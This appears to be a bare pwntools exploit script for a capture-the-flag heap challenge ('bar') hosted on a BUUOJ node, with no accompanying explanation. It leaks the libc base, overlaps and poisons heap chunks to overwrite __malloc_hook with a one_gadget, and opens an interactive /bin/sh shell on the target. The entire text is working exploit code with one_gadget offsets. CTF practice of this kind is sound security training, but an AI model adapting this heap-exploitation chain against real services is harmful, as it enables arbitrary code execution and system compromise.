1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import * binary = "./bar" elf = ELF(binary) libc = ELF('./libc-2.31.so') ip = 'node4.buuoj.cn' port = 26032 local = 1 if local: io = process(binary) else: io = remote(ip, port)
def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive() _flags = 0xfbad1800
def menu(n): sla(b'Your choice:', str(n))
def add(mode, con = b'a'): menu(1) sla(b'Whisky , brandy or Vodka?', str(mode)) sa(b'You may want to tell sth to the waiter:', con)
def delete(idx, size): menu(2) sla(b'Which?', str(idx)) sla(b'How much?', str(size))
def show(): menu(3)
show() ru(b'We will give everyone only one cup of icecream!\n') libcbase = int(io.recv(14), 16) - 0x1ec6a0 malloc_hook = libcbase + 0x1ebb70 lg('libcbase') one = [0xe6aee, 0xe6af1, 0xe6af4] ogg = libcbase + one[1] ''' 0xe6aee execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
add(0) add(0) add(2) add(2) add(2) add(0) add(0) add(0) add(0)
delete(3, 0x40) delete(2, 0x40) delete(0, 0x100) add(0, b'a' * 0xf8 + p64(0x421)) delete(1, 0x100)
add(1) add(0, b'a' * 0x98 + p64(0x51) + p64(malloc_hook - 0x10))
add(2) add(2, p64(ogg)) menu(1) sla(b'Whisky , brandy or Vodka?', str(0)) ia()
|